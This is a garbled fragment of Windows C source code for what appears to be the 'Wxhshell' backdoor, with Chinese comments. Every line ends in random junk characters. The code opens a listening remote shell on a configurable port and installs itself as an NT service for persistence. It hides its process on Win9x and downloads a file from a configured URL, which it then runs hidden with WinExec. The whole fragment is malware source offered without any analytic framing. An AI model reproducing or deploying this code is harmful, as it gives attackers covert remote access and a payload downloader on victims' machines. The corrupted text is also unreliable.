ULONG InheritedFromUniqueProcessId; ^_dYE]t
} PROCESS_BASIC_INFORMATION; =b+W*vUAw
+r0ItqkM
PROCNTQSIP NtQueryInformationProcess; d^5OB8t
k)+2+hX&>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D@5Ud)_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W-9?|ei
*uJcB|KX
HANDLE hProcess; 6ybpPls
PROCESS_BASIC_INFORMATION pbi; 6|q\ M
L`v7|! X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {Vy2uow0
if(NULL == hInst ) return 0; &p>VTD
cB~D3a0Th
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gJYB)LjH"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :q6j{C(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f=0U&~
7g'jg7
if (!NtQueryInformationProcess) return 0; eJWcrVpn
:G+8%pUX]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JO\F-xO
if(!hProcess) return 0; 6.X| .N
qY^OO~[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X%iiz
U&DD+4+28:
CloseHandle(hProcess); |etA2"r&
k%UE^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U/v }4b
if(hProcess==NULL) return 0; d@o1<Q
P+tnXT>nE
HMODULE hMod; ANuIPF4NxP
char procName[255]; sxac(L
unsigned long cbNeeded; 07L
>@Gf
&p/^A[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FT0HU<." 1
Bismd21F6=
CloseHandle(hProcess); <B,z)c
pDW4DF:`(
if(strstr(procName,"services")) return 1; // 以服务启动 GR@jn]50
85$W\d
return 0; // 注册表启动 P)VysYb?
} Qfx:}zk{
KW&5&~)2
// 主模块 Z_Tu*
F
int StartWxhshell(LPSTR lpCmdLine) .W>LsEk
{ rlQ4+~
SOCKET wsl; {5<3./5O
BOOL val=TRUE; }E?{M~"<
int port=0; :C%cnU;N
struct sockaddr_in door; Xi^#F;@sU
%<4ZU!2L
if(wscfg.ws_autoins) Install(); |$Y0VC4a
:%&~/@B
port=atoi(lpCmdLine); -Re4G78%
(%`R{Y
if(port<=0) port=wscfg.ws_port; 6gUcoDD
LV$@J
WSADATA data; 5~AK+6Za
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W<W5ih,#
z%$,F9/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s>i`=[qFc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HY
(|31
door.sin_family = AF_INET; #q[k"x=c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }p2YRTH x
door.sin_port = htons(port); Q/JX8<7K
V(-=@UW
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3_AVJv
;N
closesocket(wsl); Het5{Yb.
return 1; znNJ?
} :E$<!q
FZUN*5`
if(listen(wsl,2) == INVALID_SOCKET) { D #<)q)
closesocket(wsl); g;|3n&
return 1; @qszwQav$
} _trF /U<
Wxhshell(wsl); rKK{*%n
WSACleanup(); `V(zz
nhbCk6Y5LZ
return 0; s]D&):
DH3.4EUWS
} "4 Lt:o4x
`i'72\(
// 以NT服务方式启动 D^R=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^xBF$ua37)
{ G4VdJ(_
DWORD status = 0; e:&+m `OSH
DWORD specificError = 0xfffffff; =vqy5y
7q%<JZPY
serviceStatus.dwServiceType = SERVICE_WIN32; QT!!KTf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `7f><p/q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #
p?7{"Ep
serviceStatus.dwWin32ExitCode = 0; Z9TUaMhF
serviceStatus.dwServiceSpecificExitCode = 0; Sr9)i8x{
serviceStatus.dwCheckPoint = 0; `|{6U"n
serviceStatus.dwWaitHint = 0; 1c$<z~
,3m]jp'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BA1|%:.
if (hServiceStatusHandle==0) return; f3g#(1
m!Iax]D{
status = GetLastError(); :^G;`T`L
if (status!=NO_ERROR) ~^6[SbVb
{ /b44;U`v5-
serviceStatus.dwCurrentState = SERVICE_STOPPED; o@p(8=x
serviceStatus.dwCheckPoint = 0; k|O?qE1hP
serviceStatus.dwWaitHint = 0; R')D~JJ<8a
serviceStatus.dwWin32ExitCode = status; F"#8`Ps>
serviceStatus.dwServiceSpecificExitCode = specificError; y([""z3<w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HQpw2bdy
return; 5WT^;J9V
} =p1aF/1$I
!I7bxDzK$
serviceStatus.dwCurrentState = SERVICE_RUNNING; nb
-Je+
serviceStatus.dwCheckPoint = 0; dG}.T_l
serviceStatus.dwWaitHint = 0; Ps0g
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [f_4%Now
} `u. /2]n
lzKJy
// 处理NT服务事件,比如:启动、停止 t
Q0vX@I<v
VOID WINAPI NTServiceHandler(DWORD fdwControl) zW,Nv>Ac5
{ @,Re<%\
switch(fdwControl) R5y+bMZ
{ Up(Jw-.
case SERVICE_CONTROL_STOP: FMuakCic5
serviceStatus.dwWin32ExitCode = 0; s+=JT+g
serviceStatus.dwCurrentState = SERVICE_STOPPED; \Y EV
5
serviceStatus.dwCheckPoint = 0; w6^X*tE
serviceStatus.dwWaitHint = 0; /c`s$h4-
{ m((A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #4?(A[]>H
} z_Nw%V4kr
return; f;Iaf#V_
case SERVICE_CONTROL_PAUSE: _n[4+S*v(
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ws+Zmpk%
break; *zf@J'
case SERVICE_CONTROL_CONTINUE: )2U#<v^
serviceStatus.dwCurrentState = SERVICE_RUNNING; L$ nFRl&
break; vPVA^UPNV
case SERVICE_CONTROL_INTERROGATE: Gk.;<d
break; cY}Nr#%s@U
}; 6Y#V;/gK!5
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
=<_ei|ME
} m4U7{sE
[jOvy>2K]
// 标准应用程序主函数 AYC22(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,| \62B`
{ ^'g1? F$_
?~mw
// 获取操作系统版本 U 0$?:C+?
OsIsNt=GetOsVer(); Jb~nu
GetModuleFileName(NULL,ExeFile,MAX_PATH); q{rc[ s?
|_Y[931<
// 从命令行安装 r A*"22v=
if(strpbrk(lpCmdLine,"iI")) Install(); 7[V6@K!Al[
WsA(8Ck<
// 下载执行文件 dMA"% R
if(wscfg.ws_downexe) { {
.z6J)?J2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ..ig jc#UF
WinExec(wscfg.ws_filenam,SW_HIDE); x*)@:W!
} Iw?M>'l
YWfw%p?n"
if(!OsIsNt) { hBSci|*f
// 如果时win9x,隐藏进程并且设置为注册表启动 (I bT5
HideProc(); ]FJpe^
ua
StartWxhshell(lpCmdLine); =uZOpeviQ
} zuWfR&U|W
else HWr")%EhD
if(StartFromService()) K22' XrN
// 以服务方式启动 $/sQatic
StartServiceCtrlDispatcher(DispatchTable); iU5Aj:U3
else 9s5PJj "u
// 普通方式启动 UuV<#N)
StartWxhshell(lpCmdLine); x5Sc+5?*
=h~\nTN
return 0; -Oo7]8
}